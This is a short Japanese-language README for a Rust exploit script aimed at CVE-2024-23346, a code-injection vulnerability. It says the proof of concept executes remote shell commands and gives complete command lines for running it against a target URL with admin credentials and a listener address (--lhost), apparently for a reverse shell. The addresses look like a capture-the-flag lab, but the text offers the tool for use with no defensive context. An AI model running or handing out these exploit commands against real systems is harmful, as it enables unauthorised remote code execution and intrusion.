CVE-2024-23346-rust-exploit

CVE-2024-23346 用の Rust 製エクスプロイトスクリプト。

以下に示すように、POC はコードインジェクションの脆弱性を利用し、ターミナルのようにリモートシェルコマンドを実行します。

poc.webm

---

エクスプロイトの実行手順:

• Cargo で直接実行
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

または

• バイナリをコンパイル: cargo build -r (バイナリは target/release/poc に生成されます)
• バイナリを実行:
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

エクスプロイトスクリプトは Python Scripting Expert MAWK0235 から着想を得ています。